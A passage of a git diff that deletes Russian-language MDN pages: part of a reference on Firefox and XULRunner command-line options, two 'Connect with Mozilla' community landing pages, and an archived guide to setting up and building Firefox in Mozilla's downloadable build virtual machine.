-<p id="--register-global">Запускает новый процесс <a href="/ru/docs/XULRunner" title="XULRunner">XULRunner</a> в расположении <em>path/to</em>. Также работает для <strong>Firefox</strong> версии 3 и выше.</p>
-
-<h3 id="--register-global_2"><code>--register-global</code></h3>
-
-<p><span style="line-height: 21px;">Регистрирует XULRunner в системе для всех пользователей. Должен быть запущен с правами root или администратора.</span></p>
-
-<h3 id="--register-user"><code>--register-user</code></h3>
-
-<p><span style="line-height: 21px;">Регистрирует XULRunner для отдельного пользователя.</span></p>
-
-<h3 id="--unregister-global"><code>--unregister-global</code></h3>
-
-<p><span class="translation-chunk">Отменяет регистрацию</span><span style="line-height: 21px;"> XULRunner для всех пользователей.</span></p>
-
-<h3 id="--unregister-user"><code>--unregister-user</code></h3>
-
-<p><span class="translation-chunk">Отменяет регистрацию</span><span style="line-height: 21px;"> </span><span style="line-height: 21px;">XULRunner для отдельного пользователя.</span></p>
-
-<h3 id="--install-app_pathtomyapplication.(xpixulapp)"><code>--install-app <em>path/to/</em>myapplication.(xpi|xulapp)</code></h3>
-
-<p><span style="line-height: 1.572;">Устанавливает в системе приложение XULRunner в расположение <em>path/to</em>. Приложения устанавливаются в расположение по умолчанию для вашей системы (<em>Program files</em>|<em>Applications</em>|<em>usr/lib</em>) в папку<em> vendorname/applicationName</em>. Приложения могут быть удалены используемым вашей системой способом.</span></p>
-
-<pre class="eval" style="margin-top: 0px; margin-bottom: 1.286em; font-size: 14px;">"C:\Program Files\Mozilla XULRunner\1.8.0.4\xulrunner\xulrunner.exe" --install-app "C:\Users\Billdo\Desktop\myapplication.xpi"</pre>
-
-<pre><span style="font-family: courier new,andale mono,monospace; line-height: normal;">/opt/xulrunner/1.8.0.4/xulrunner/xulrunner --install-app ~/Desktop/myapplication.xulapp</span></pre>
-
-<pre><span style="font-family: courier new,andale mono,monospace; line-height: normal;">​</span><span style="font-family: courier new,andale mono,monospace; line-height: normal;">/Library/Frameworks/XUL.framework/xulrunner-bin --install-app ~/Desktop/myapplication.xpi</span></pre>
-
-<h2 id="Chrome" name="Chrome">Chrome</h2>
-
-<h3 id="-chrome_chrome_URL" name="-chrome_chrome_URL"><code>-chrome <var>chrome_URL</var></code></h3>
-
-<p>Загружает указанный <a href="/ru/docs/Словарь/Chrome" title="Chrome">хром</a>.</p>
-
-<pre class="eval">firefox -chrome <a class="external" rel="freelink">chrome://inspector/content</a>
-</pre>
-
-<h3 id="-register_chrome_URL" name="-register_chrome_URL"><code>-register <var>chrome_URL</var></code></h3>
-
-<p>Регистрирует указанный хром, но не запускает приложение.</p>
-
-<h2 id="Add-ons" name="Add-ons">Дополнения</h2>
-
-<p>{{ gecko_minversion_note("1.9.2", "Опции <code>-install-global-extension</code> и <code>-install-global-theme</code> были удалены из Gecko 1.9.2 и выше.") }}</p>
-
-<h3 id="-install-global-extension_.2Fpath.2Fto.2Fextension" name="-install-global-extension_.2Fpath.2Fto.2Fextension"><code>-install-global-extension <var>/path/to/extension</var></code></h3>
-
-<p>Устанавливает расширение в папку приложения. В качестве параметра указывается путь к расширению. Для установки необходимо иметь права администратора.</p>
-
-<h3 id="-install-global-theme_.2Fpath.2Fto.2Ftheme" name="-install-global-theme_.2Fpath.2Fto.2Ftheme"><code>-install-global-theme <var>/path/to/theme</var></code></h3>
-
-<p>То же, что и выше, по отношению к темам. Для установки необходимо иметь права администратора.</p>
-
-<div class="note">
-<p><strong>Примечание: </strong>Начиная с Firefox 2.0.0.7, использование опций командной строки <code>-install-global-extension</code> и <code>-install-global-theme</code> было ограничено установкой только тех дополнений, которые находятся на локальном или сетевом диске. <span class="translation-chunk">Установка</span><span class="translation-chunk"> напрямую</span><span class="translation-chunk"> </span><span class="translation-chunk">из общего сетевого ресурса</span><span class="translation-chunk"> </span><span class="translation-chunk">больше не</span><span class="translation-chunk"> </span><span class="translation-chunk">разрешается.</span></p>
-</div>
-
-<h3 id="-safe-mode" name="-safe-mode"><code>-safe-mode</code></h3>
-
-<p>Запускает приложение с отключёнными дополнениями только для данного сеанса. (Расширения не загружаются, но не отключены постоянно в менеджере расширений).</p>
-
-<h2 id="Locale" name="Locale">Локализация</h2>
-
-<h3 id="-UILocale_locale" name="-UILocale_locale"><code>-UILocale <var>locale</var></code></h3>
-
-<p>Запуск с языком пользователького интерфейса, указанным в <var>locale</var>.</p>
-
-<pre class="eval">firefox -UILocale en-US
-</pre>
-
-<h2 id="Remote_Control" name="Remote_Control">Удаленное управление</h2>
-
-<h3 id="-remote_remote_command" name="-remote_remote_command"><code>-remote <em>remote_command</em> {{deprecated_inline}}</code></h3>
-
-<div class="note">
-<p><strong>Примечание:</strong> Эта функция была удалена в Firefox 36.0, восстановлена в 36.0.1 и снова удалена в версии 39.0. См. {{ bug(1080319) }}.</p>
-</div>
-
-<p>Выполняет удалённую команду <var>remote_command</var> в уже запущенном процессе приложения (см. <a class="external" href="http://www.mozilla.org/unix/remote.html">remote control</a>).</p>
-
-<pre class="eval">firefox -remote "openURL(www.mozilla.org, new-tab)"
-</pre>
-
-<div class="note">
-<p><strong>Примечание:</strong> Эта опция доступна только для UNIX-платформ под управлением X-Windows.</p>
-</div>
-
-<h2 id="Miscellaneous" name="Miscellaneous">Разное</h2>
-
-<h3 id="-tray" name="-tray"><code><strong>-tray</strong></code></h3>
-
-<p>Запуск приложения свёрнутым в трей. Полезно при автозапуске.</p>
-
-<h3 id="-silent" name="-silent"><code>-silent</code></h3>
-
-<p>Не открывать окна по умолчанию. Полезно при использовании с опциями, открывающими собственные окна, но не препятствующими открыванию окон по умолчанию. Только <strong>Firefox</strong>, <strong>Thunderbird3.x</strong> и <strong>SeaMonkey2.x</strong>.</p>
-
-<h3 id="-console" name="-console"><code>-console</code></h3>
-
-<p>Запуск приложения с консолью отладки.</p>
-
-<div class="note">
-<p><strong>Примечание:</strong> Поддерживается только для Windows.</p>
-</div>
-
-<h3 id="-attach-console"><code>-attach-console</code></h3>
-
-<p>Записывать сообщения в консоль отладки окна, которое запустило приложение, вместо открытия нового окна для сообщений отладки.</p>
-
-<div class="note">
-<p><strong>Примечание:</strong> Поддерживается только для Windows.</p>
-</div>
-
-<h3 id="-h_or_-help_or_-.3F" name="-h_or_-help_or_-.3F"><code>-h</code>, <code>-help</code> или <code>-?</code></h3>
-
-<p>Выводит список всех доступных опций командной строки. Обратите внимание, что на Windows эта опция работает только с перенаправлением  <code><span class="nowiki">|more</span></code> ({{ Bug(355889) }}):</p>
-
-<pre>C:\Program Files\Mozilla Firefox&gt;firefox -help | more</pre>
-
-<p>Эта опция доступна только из командной строки.</p>
-
-<h3 id="-v_or_-version" name="-v_or_-version"><code>-v</code> или <code>-version</code></h3>
-
-<p>Выводит версию приложения. Обратите внимание, что на Windows эта опция работает только с перенаправлением <code><span class="nowiki">|more</span></code> ({{ Bug(355889) }}, см. пример выше). Эта опция доступна только из командной строки.</p>
-
-<h3 id="-osint" name="-osint"><code>-osint</code></h3>
-
-<p>Указывает приложению, что оно было запущено из системной консоли. <span class="translation-chunk">Не должно</span><span class="translation-chunk"> </span><span class="translation-chunk">указываться, если</span><span class="translation-chunk"> </span><span class="translation-chunk">вызывающая сторона</span><span class="translation-chunk"> </span><span class="translation-chunk">предоставляет</span><span class="translation-chunk"> </span><span class="translation-chunk">все функциональные возможности, предоставляемые консолью</span><span class="translation-chunk"> </span><span class="translation-chunk">операционной системы</span><span class="translation-chunk"> </span><span class="translation-chunk">при запуске</span><span class="translation-chunk"> </span><span class="translation-chunk">приложения</span> ({{ Bug(384384) }}).</p>
-
-<h3 id="-requestPending" name="-requestPending"><code>-requestPending</code></h3>
-
-<p>Указывает приложению, что был послан запрос Windows DDE для открытия ссылки, переданной в командной строке. <span class="translation-chunk">Не должно</span><span class="translation-chunk"> </span><span class="translation-chunk">указываться, если</span><span class="translation-chunk"> </span><span class="translation-chunk">вызывающая сторона</span><span class="translation-chunk"> </span><span class="translation-chunk">предоставляет</span><span class="translation-chunk"> </span><span class="translation-chunk">все функциональные возможности, предоставляемые консолью</span><span class="translation-chunk"> </span><span class="translation-chunk">операционной системы</span><span class="translation-chunk"> </span><span class="translation-chunk">при запуске</span><span class="translation-chunk"> </span><span class="translation-chunk">приложения</span> ({{ Bug(354005) }}).</p>
-
-<h3 id="Опции_X11">Опции X11</h3>
-
-<p>Следующие опции доступны только для приложения, собранного и запущенного в системе окон X11/X.org на Linux и других UNIX-подобных системах.</p>
-
-<h4 id="--displayDISPLAY"><code>--display=DISPLAY</code></h4>
-
-<p>Установить отображение X для использования.</p>
-
-<h4 id="--classWM_CLASS"><code>--class=WM_CLASS</code></h4>
-
-<p>Установить класс ресурсов WM_CLASS окон X11, созданных приложением.</p>
-
-<h4 id="--sync"><code>--sync</code></h4>
-
-<p>Сделать все вызовы X синхронными.</p>
-
-<h4 id="--g-fatal-warnings"><code>--g-fatal-warnings</code></h4>
-
-<p><span class="short_text" id="result_box" lang="ru"><span class="hps">Сделать</span> <span class="hps">все предупреждения</span> <span class="hps">фатальными.</span></span></p>
-
-<h2 id="Other_options_need_to_be_documented" name="Other_options_need_to_be_documented">Другие опции, нуждающиеся в документировании</h2>
-
-<ul>
- <li><code>-print-xpcom-dir</code></li>
- <li><code>-print-xpcom-dirlist</code></li>
- <li><code>-kill</code></li>
- <li><code>-killAll</code></li>
- <li><code>-f</code></li>
- <li><code>-ftimeout</code></li>
- <li><code>-fwait</code></li>
- <li><code>-unsetDefaultMail</code></li>
- <li><code>-foreground</code></li>
- <li><code>-new-instance</code></li>
- <li>GTK options</li>
-</ul>
-
-<h2 id="References" name="References">Ссылки</h2>
-
-<ul>
- <li><a href="/en-US/docs/Chrome/Command_Line" title="Chrome/Command_Line">Chrome: Command Line</a></li>
- <li><a class="external" href="http://www-archive.mozilla.org/quality/browser/front-end/testcases/cmd-line/">Test Documentation for Command-line Features</a> (mozilla.org)</li>
- <li>{{ Source("toolkit/xre/nsAppRunner.cpp") }}</li>
- <li>{{ Source("browser/components/nsBrowserContentHandler.js") }}</li>
- <li>{{ Source("suite/browser/nsBrowserContentHandler.js") }}</li>
- <li>{{ Source("mail/components/nsMailDefaultHandler.js") }}</li>
- <li><a class="link-https" href="https://wiki.mozilla.org/Installer:Command_Line_Arguments">Installer command line options</a></li>
-</ul>
-
-<div class="originaldocinfo">
-<h2 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h2>
-
-<ul>
- <li>Author(s): Ben Goodger, Steffen Wilberg, Seth Spitzer, Daniel Wang</li>
- <li>Copyright Information: Portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a Creative Commons license | <a class="external" href="http://www.mozilla.org/foundation/licensing/website-content.html">Details</a>.</li>
-</ul>
-</div>
diff --git a/files/ru/mozilla/connect/index.html b/files/ru/mozilla/connect/index.html
deleted file mode 100644
index b2bfb6e752..0000000000
--- a/files/ru/mozilla/connect/index.html
+++ /dev/null
@@ -1,114 +0,0 @@
----
-title: Присоединяйтесь к Mozilla
-slug: Mozilla/Connect
-tags:
- - Landing
-translation_of: Mozilla/Connect
----
-<p class="summary">Делайте возможным, вдохновляйте и сотрудничайте, чтобы сделать Веб основной платформой для создания впечатлений на всех подключенных устройствах.</p>
-
-<div class="column-container dev-program-callouts dev-program-block dev-program-first dev-program-column-wrapper">
-<div class="dev-program-callout">
-<div class="callout-link-container">
-<h2 id="Блог_Hacks">Блог Hacks</h2>
-
-<p>Ключевой ресурс для людей разрабатывающих для Открытого Веба, блог Mozilla Hacks содержит новости и обсуждения последних разработок в Веб-технологиях и функциях браузера.</p>
-
-<div class="callout-link-wrapper"><a class="callout-link ignore-external" href="https://hacks.mozilla.org/" style="white-space: normal;">Прочтите это сейчас </a></div>
-</div>
-</div>
-
-<div class="dev-program-callout">
-<div class="callout-link-container">
-<h2 id="Каналы_отзывов">Каналы отзывов</h2>
-
-<p>У вас есть <a href="http://mzl.la/devtools">великолепная идея для Инструментов Разработки</a>? Дайте нам знать и помогите создать новые возможности!</p>
-<a class="callout-link ignore-external" href="http://stackoverflow.com/r/mozilla" style="white-space: normal;"> </a></div>
-</div>
-
-<div class="dev-program-callout">
-<div class="callout-link-container">
-<h2 id="Ломайте_на_MDN">Ломайте на MDN</h2>
-
-<p>Если вы взламывали код или текст, у нас есть <a href="/ru/docs/MDN/Getting_Started">способы, которыми вы можете сделать MDN лучше</a>. Когда вы создаёте MDN профиль, вы можете показать свои работы здесь и получить ранний доступ к возможностям на MDN до того, как мы их выпустим.</p>
-
-<div class="callout-link-wrapper"><a class="callout-link" href="/profile/edit" style="white-space: normal;">Присоединиться или Войти </a></div>
-</div>
-</div>
-</div>
-
-<div class="dev-program-explanation dev-program-block">
-<h2 id="Соединяйтесь_с_Mozilla">Соединяйтесь с Mozilla</h2>
-
-<p>Разработчики создают будущее, строят сервисы и приложения для людей во всем мире. Цель Mozilla Developer Relations - помочь разработчикам использовать открытые и стандартизированные веб-технологии, чтобы добиться успеха в достижении своих целей. Мы предлагаем помощь и другие ресурсы для достижения этой цели, по различным каналам. Мы приглашаем Вас подключиться, учиться и делиться своими знаниями.</p>
-
-<p>Свяжитесь с нами через devrel@mozilla.com или на IRC канале irc.mozilla.org #devrel. Также у нас есть новостная рассылка, позволяющая вам оставаться в курсе последних событий в Веб-сфере, веб-приложениях и многом другом. <a href="https://marketplace.firefox.com/developers/#newsletter-signup">Подпишитесь на новостную рассылку Apps &amp; Hacks.</a></p>
-
-<p>У нас есть много планов и идей для итеративного расширения наших предложений Developer Relations, и мы хотим, чтобы вы стали участником того, что мы делаем! Поэтому <a href="https://hacks.mozilla.org/">подпишитесь на блог Hacks</a> и <a href="https://marketplace.firefox.com/developers/#newsletter-signup">подпишитесь на нашу новостную рассылку</a>!</p>
-
-<p>Если вы есть на <a href="http://www.twitter.com/MozDevNet">Twitter</a>, <a href="http://www.twitter.com/MozDevNet">подпишитесь на нас</a> и узнавайте об обновлениях документации, работе, возможностях помочь и многом другом.</p>
-
-<h2 id="Присоединяйтесь_к_Mozilla" style="line-height: 30px;"><strong>Присоединяйтесь к Mozilla</strong></h2>
-
-<p>Если вы хотите с головой окунуться в <strong>Mozilla</strong>, вы можете присоединиться к <strong>Mozilla </strong>и помочь реализовать <a href="https://www.mozilla.org/mission/">миссию Mozilla - построение лучшего Интернета</a>. Как у разработчика, у вас есть навыки вносить вклад в множество областей, а также возможность их улучшить. Mozilla - проект с открытым исходным кодом, поэтому мы "открыты по умолчанию". Вы можете "просматривать исходники" и внести вклад в наши проекты, такие как браузер Firefox для компьютера и Android, Firefox OS и сайты Mozilla. Вы можете стать частью международного сообщества и получить признание ваших усилий. Вот некоторые преимущества помощи проекту Mozilla.</p>
-
-<h3 id="Возможность_узнать_что-то_новое"><strong>Возможность узнать что-то новое</strong></h3>
-
-<div>
-<p>В написании кода для проекта с открытым исходным кодом, вы сталкиваесь с проблемами, с которыми не встречались раньше, которые представляют собой возможность для вашего обучения. В проекте с открытым исходным кодом вы можете попробовать новые инструменты и техники. Например, если вы никогда не делали юнит-тестирование, а также не имели разрешения делать так на работе, то написание кода для открытого проекта будеть отличной возможностью узнать об этом больше. Внос вклада в открытый код даёт вам возможность сотрудничать и познакомиться с множеством людей по всему миру, у кого есть похожие интересы. Кроме того, у открытой организации, как Mozilla есть множество помощников, которые могут помочь вам с решением проблем, с которыми вы сталкиваетесь. Если вы только начинаете помогать, вы можете поискать "наставнические" ошибки, где опытный участник предлагает помощь новичку в их исправлении.</p>
-
-<h3 id="Что_я_получу_если_помогу"><strong>Что я получу, если помогу? </strong></h3>
-
-<p>Исследуя множество вещей и зарабатывая признание в сообществе - нематериальная выгода вклада в Mozilla. Тогда как, мы не можем гарантировать специфичную материальную выгоду, многие ценные участники получают бесплатную мощь Mozilla и приглашения на события, относящиеся к Mozilla, а также являются первыми в очереди рассматриваемых на стажировку. Кроме того, ваш опыт в помощи открытому проекту поможет вам найти работу. Всё больше и больше работодателей обращают внимание на это. Им было бы приятно видеть, что вы ведёте блог и сотрудничаете в списках рассылки, а также им хотелось увидеть вас как помощника в открытом проекте. Также это поможет вам с секцией опыта работы в вашем резюме.</p>
-
-<h3 id="Как_вы_можете_помочь_Mozilla"><strong>Как вы можете помочь Mozilla</strong></h3>
-
-<p>Если много областей проектов, в которых вы можете помочь Mozilla. Вы можете найти текущий, полный список на странице Mozilla <a href="https://www.mozilla.org/contribute">Станьте волонтёром</a>. Некоторые области, которые могут быть вам интересны, как разработчику:</p>
-
-<ul>
- <li><a href="http://www.whatcanidoformozilla.org/">Кодинг</a></li>
- <li><a href="http://www.whatcanidoformozilla.org/">Веб-разработка</a></li>
- <li><a href="/ru/Firefox_OS/Developing_Gaia">Firefox OS</a></li>
- <li><a href="https://quality.mozilla.org/teams/">QA</a></li>
- <li><a href="https://wiki.mozilla.org/Marketplace/Contributing/Addons">Дополнения</a></li>
- <li><a href="https://wiki.mozilla.org/Marketplace/Contributing/Apps">Приложения</a></li>
- <li><a href="/ru/docs/MDN/Getting_started">Документация разработчика (здесь на MDN)</a></li>
-</ul>
-</div>
-</div>
-
-<div class="column-container dev-program-block">
-<div class="column-half" id="Developer_discussions"> </div>
-</div>
-
-<p class="dev-program-block"><img alt="Разработчики на семинаре Firefox OS в Мадриде." src="https://mdn.mozillademos.org/files/7479/PhonesUp.jpg" style="display: block; height: 359px; margin: 0px auto; max-width: 100%; width: 720px;"></p>
-
-<div class="column-container dev-program-block">
-<div class="column-7 dev-program-events">
-<h2 id="Где_находится_Mozilla">Где находится Mozilla?</h2>
-
-<p><a class="heading-link" href="https://www.mozilla.org/ru/contribute/events/">Просмотреть участников и детали на нашей странице Событий... </a></p>
-</div>
-
-<div class="column-5">
-<h2 id="Другие_ресурсы">Другие_ресурсы</h2>
-
-<ul class="no-bullets">
- <li><a href="http://www.youtube.com/user/mozhacks">Mozilla Hacks на YouTube</a>
-
- <ul>
- <li>видео о <a href="http://www.youtube.com/playlist?list=PLo3w8EB99pqIHIUUv08hBCHq1OgPKhdo0">Firefox OS</a></li>
- <li>видео о <a href="http://www.youtube.com/playlist?list=PLo3w8EB99pqLZNY22xKbTEzMfYo9PXAlm">Инструментах разработки Firefox</a></li>
- </ul>
- </li>
- <li><strong>Следите за нами на Twitter</strong>
- <ul class="no-bullets">
- <li><a href="https://twitter.com/mozdevnet">@MozDevNet</a>: Новости и замечания по MDN</li>
- <li><a href="https://twitter.com/mozhacks">@mozhacks</a>: Что нового на блоге Hacks</li>
- <li><a href="https://twitter.com/mozappsdev">@mozappsdev</a>: Для разработчиков веб-приложений</li>
- <li> </li>
- </ul>
- </li>
-</ul>
-</div>
-</div>
diff --git a/files/ru/mozilla/connect_clone/index.html b/files/ru/mozilla/connect_clone/index.html
deleted file mode 100644
index 516f788f7f..0000000000
--- a/files/ru/mozilla/connect_clone/index.html
+++ /dev/null
@@ -1,93 +0,0 @@
----
-title: Connect with Mozilla
-slug: Mozilla/Connect_clone
----
-<div class="summary">
-<p><span class="seoSummary">Enable, inspire and collaborate to make the Web the primary platform used to create experiences across all connected devices.</span></p>
-</div>
-
-<div>
-<div class="column-container dev-program-callouts dev-program-block dev-program-first dev-program-column-wrapper">
-<div class="dev-program-callout">
-<div class="callout-link-container">
-<h2 id="Hacks_blog">Hacks blog</h2>
-
-<p>A key resource for people developing for the Open Web, the Mozilla Hacks blog offers news and discussion of the latest in Web technologies and browser features.</p>
-
-<div class="callout-link-wrapper"><a class="callout-link ignore-external" href="https://hacks.mozilla.org/" style="white-space: normal;">Read it now </a></div>
-</div>
-</div>
-
-<div class="dev-program-callout">
-<div class="callout-link-container">
-<h2 id="Help_QA">Help Q&amp;A</h2>
-
-<p>Discuss the Web and Web apps on Stack Overflow, where you can exchange ideas with other Web developers.<br>
- <span class="smaller"><strong>{{anch("Developer discussions", "Search the Q&amp;A below")}}</strong></span></p>
-
-<div class="callout-link-wrapper"><a class="callout-link ignore-external" href="http://stackoverflow.com/r/mozilla" style="white-space: normal;">Mozilla Q&amp;A on Stack Overflow </a></div>
-</div>
-</div>
-
-<div class="dev-program-callout">
-<div class="callout-link-container">
-<h2 id="Join_MDN">Join MDN</h2>
-
-<p>Sign up for MDN! You will able to edit the documentation here, create a profile to show off your work, and get access to features over time as we roll them out.</p>
-
-<div class="callout-link-wrapper"><a class="callout-link" href="/profile/edit" style="white-space: normal;">Join or log in </a></div>
-</div>
-</div>
-</div>
-
-<div class="dev-program-explanation dev-program-block">
-<h2 id="Connect_with_Mozilla">Connect with Mozilla</h2>
-
-<p>Developers are creating the future by building services and apps for people all over the world. The goal of Mozilla Developer Relations is to help developers to use open and standardized web technologies to succeed in achieving their goals. In addition to the documentation here on MDN, we offer help and other resources towards this goal, through various channels. We invite you to connect, learn, and share your own knowledge.</p>
-
-<p>We are offering help through Q&amp;A on Stack Overflow, to solve specific technical issues and challenges you might have. We also have a newsletter keeping you informed on the latest happenings in the web scene around web apps and more. <a href="https://marketplace.firefox.com/developers/#newsletter-signup">Subscribe to the Apps &amp; Hacks newsletter.</a></p>
-
-<p>We have a lot of plans and ideas for iteratively expanding our Developer Relations offerings, and we want you involved as we do so! So, <a href="http://stackoverflow.com/r/mozilla">follow the tags on Stack Overflow</a>, <a href="https://hacks.mozilla.org/">subscribe to the Hacks blog</a>, <a href="https://marketplace.firefox.com/developers/#newsletter-signup">subscribe to the newsletter, </a>and <a href="/profile/edit">sign up for an account</a>!</p>
-</div>
-
-<div class="column-container dev-program-block">
-<div class="column-half" id="Developer_discussions">
-<h2 id="QA_on_Stack_Overflow_See_all_QA...">Q&amp;A on Stack Overflow <a class="heading-link" href="http://stackoverflow.com/r/mozilla">See all Q&amp;A...</a></h2>
-
-<p>We have Q&amp;A to discuss challenges and issues when developing, in particular for Firefox OS and the Open Web on mobile. It's available on Stack Overflow under the easy URL <a href="http://stackoverflow.com/r/mozilla">http://stackoverflow.com/r/mozilla</a>.</p>
-
-<div class="stack-form">Stack form</div>
-
-<h3 id="Latest_QA_Topics">Latest Q&amp;A Topics</h3>
-</div>
-
-<div class="column-half dev-program-hacks dev-program-block"> </div>
-</div>
-
-<p class="dev-program-block"><img alt="Developers at a Firefox OS workshop in Madrid." src="https://mdn.mozillademos.org/files/7479/PhonesUp.jpg" style="display: block; height: 359px; margin: 0px auto; max-width: 100%; width: 720px;"></p>
-
-<div class="column-container dev-program-block">
-<div class="column-7 dev-program-events">
-<h2 id="Where_is_Mozilla_View_attendees_and_details_on_our_Events_page...">Where is Mozilla? <a class="heading-link" href="https://developer.mozilla.org/en/events">View attendees and details on our Events page... </a></h2>
-
-<p>Here is a listing of events where Mozilla representatives will be speaking. Make sure to talk to them!</p>
-</div>
-
-<div class="column-5">
-<h2 id="Other_resources">Other resources</h2>
-
-<ul class="no-bullets">
- <li><a href="http://www.youtube.com/user/mozhacks">Mozilla Hacks on YouTube</a>
-
- <ul>
- <li><a href="http://www.youtube.com/playlist?list=PLo3w8EB99pqIHIUUv08hBCHq1OgPKhdo0">Firefox OS videos</a></li>
- <li><a href="http://www.youtube.com/playlist?list=PLo3w8EB99pqLZNY22xKbTEzMfYo9PXAlm">Firefox Developer Tools videos</a></li>
- </ul>
- </li>
- <li><a href="https://twitter.com/mozhacks">@mozhacks on Twitter</a></li>
-</ul>
-</div>
-</div>
-</div>
-
-<p> </p>
diff --git a/files/ru/mozilla/developer_guide/using_the_vm/index.html b/files/ru/mozilla/developer_guide/using_the_vm/index.html
deleted file mode 100644
index fd5287faa2..0000000000
--- a/files/ru/mozilla/developer_guide/using_the_vm/index.html
+++ /dev/null
@@ -1,89 +0,0 @@
----
-title: Using the Mozilla build VM
-slug: Mozilla/Developer_guide/Using_the_VM
-tags:
- - Mozilla
- - Гайд
-translation_of: Archive/Mozilla/Using_the_VM
----
-<div class="note">
-<p>Примечание: эта статья, по-видимому, не содержит рабочей альтернативы. Пока мы будем выяснять что происходит, возможно, вам стоит взглянуть на <a href="/en-US/docs/Mozilla/Developer_guide/Build_Instructions/Simple_Firefox_build">Building Firefox</a>.</p>
-</div>
-
-<p>Если вы когда-нибудь думали, что вклад в Firefox был бы не плох, но у вас никогда не было времени, чтобы прочитать и следовать нашему <a href="/en-US/docs/Simple_Firefox_build">instructions to setup a build environment</a> или вы хотите избежать внесения изменений в стандартные инструменты и конфигурацию, тогда это может быть для вас полезно. Mozilla предоставляет виртуальную машину (VM), которая совместима с бесплатным <a href="https://www.virtualbox.org/wiki/Downloads">VirtualBox</a>, программным обеспечением для виртуализации (а также другим, в том числе VMWare/VMWare Fusion).</p>
-
-<p>В этой статье приведены простые инструкции по загрузке, установке и настройке этой среды сборки build machine; как только вы выполните следующие действия, у вас будет готовая виртуальная машина для изменения и настройки Firefox.</p>
-
-<p>Надеюсь, что эта виртуальная машина особенно поможет разработчикам или потенциальным разработчикам, которые не имеют полной среды разработки C++, доступной для них, а также опытным разработчикам, не имеющим времени на настройку системы сборки, следуя обычным инструкциям.</p>
-
-<h2 id="Установка_VirtualBox">Установка VirtualBox</h2>
-
-<p>Посетите <a href="https://www.virtualbox.org/wiki/Downloads">VirtualBox downloads page</a> и загрузите последнюю версию программного обеспечения для вашей операционной системы.</p>
-
-<div class="note">
-<p>Примечание: если у вас уже установлен продукт виртуализации, такой как VirtualBox, VMWare или VMWare Fusion, вы можете использовать его вместо загрузки новой копии VirtualBox. Просто убедитесь, что у вас есть последняя версия программного обеспечения. Обратите внимание, что Parallels Desktop не поддерживает формат OVF.</p>
-</div>
-
-<h2 id="Загрузка_VM">Загрузка VM</h2>
-
-<p>Затем загрузите виртуальную машину среды разработки Firefox.</p>
-
-<p><a class="download-button external ignore-external" href="http://vmimages.mozilla.net/ovf/FirefoxBuildEnv.ova" rel="noopener">Download the VM</a></p>
-
-<p>SHA-256: 1c84eaf97ea2a9a3c990051306a038da9541a450fd600878e7c1f984fa930f35</p>
-
-<div class="note">
-<p>Примечание: этот файл занимает около 4,4 ГБ, поэтому его загрузка может занять некоторое время.</p>
-</div>
-
-<h2 id="Установка_VM">Установка VM</h2>
-
-<p>Когда .ova файл загружен, дважды щелкните по нему. Это запустит процесс импорта виртуальной машины в VirtualBox. Пожалуйста, дайте виртуальной машине минимум 4096 МБ оперативной памяти (8192 Мб или больше, если вы можете) и установите для нее то же количество процессоров, что и у вашего хост-компьютера. Построение Firefox использует много системных ресурсов, и лучше, чтобы он строился как можно быстрее.</p>
-
-<p><img alt="Screen shot of the Import Virtual Appliance window" src="https://mdn.mozillademos.org/files/8665/firefoxdev3.png" style="height: 447px; width: 600px;"></p>
-
-<p>После завершения импорта виртуальной машины вы можете выполнить дополнительные настройки, если хотите, или просто загрузить виртуальную машину и дождаться появления рабочего стола Ubuntu. Окно терминала автоматически появится и выполнит некоторые заключительные действия по настройке. Как только они закончат работать, Sublime Text запустится, и вы сможете приступить к работе!</p>
-
-<p><img alt="Screen shot of the Sublime Text editor running in the VM" src="https://mdn.mozillademos.org/files/8667/firefoxdev1.png" style="height: 317px; width: 600px;"></p>
-
-<div class="note">
-<p>Примечание: Если вам когда-нибудь понадобятся учетные данные root, используйте "firefox-dev" в качестве пароля. Если вы хотите изменить язык и настройки клавиатуры, следуйте инструкциям в разделе <a href="https://www.howtogeek.com/howto/17528/change-the-user-interface-language-in-ubuntu/">How to change the UI language in Ubuntu</a>.</p>
-</div>
-
-<h2 id="Сборка_Firefox">Сборка Firefox</h2>
-
-<p>Чтобы собрать Firefox в виртуальной машине, откройте меню Сервис и выберите опцию построить. Процесс сборки начнется, и у вас будет время для выпивки, хорошей еды или, возможно, короткого отпуска, в зависимости от того, насколько быстр ваш компьютер. Тебе нужно набраться терпения.</p>
-
-<p>После завершения сборки (successfully), выберите пункт Run в меню Tools, чтобы запустить пользовательскую сборку Firefox. Убедитесь, что все работает, как и ожидалось.</p>
-
-<p>По умолчанию виртуальная машина настроена на создание оптимизированной сборки Firefox. Вы можете легко переключиться на построение для отладки. Просто откройте меню Tools, а затем подменю Build System в нем. В последней из систем сборки, которая появляется в подменю, выберите "Firefox (Debug)". Вот и все! Ваша следующая сборка будет сборкой отладчика.</p>
-
-<p><img alt="Screen shot showing how to switch between debug; and optimized builds" src="https://mdn.mozillademos.org/files/8669/firefoxdev2.png" style="height: 317px; width: 600px;"></p>
-
-<h2 id="Работа_в_VM">Работа в VM</h2>
-
-<p>Отсюда вы работаете в виртуальной машине так же, как и в любом другом месте. Чтобы вытащить последний код из <a href="/en-US/docs/mozilla-central">mozilla-central</a>, просто используйте Mercurial как обычно:</p>
-
-<pre>hg pull</pre>
-
-<p>И вы <a href="/en-US/docs/Mozilla/Developer_guide/How_to_Submit_a_Patch">submit your patches</a> так же, как обычно.</p>
-
-<h2 id="Что_теперь">Что теперь?</h2>
-
-<p>Теперь, когда вы успешно встроили Firefox в свою новую виртуальную машину, вам может быть интересно, что делать дальше. Отличный способ начать - выбрать небольшую, легко исправляемую ошибку и внести код, который исправит ее. Представьте, как здорово, когда написанный вами код отправляется полумиллиарду пользователей по всему миру!</p>
-
-<p>Вот некоторые ссылки, которые помогут вам найти то, что вы можете сделать, чтобы сделать Firefox лучше:</p>
-
-<ul>
- <li><a href="http://codefirefox.com/">Code Firefox Lessons</a> предоставляет ряд видео-уроков для новых пользователей Firefox.</li>
- <li><a href="https://www.joshmatthews.net/bugsahoy/">Bugs Ahoy!</a> (инструмент, который поможет вам найти ошибки, которые могут вас заинтересовать).</li>
- <li><a href="http://firefox-dev.tools/">firefox-dev.tools</a> (инструмент, который поможет вам найти ошибки, связанные с инструментами разработчика Firefox, которые могут вас заинтересовать).</li>
- <li><a href="/en-US/docs/Mozilla/Developer_guide">Developer guide</a> (документация о разработке на и для проектов Mozilla).</li>
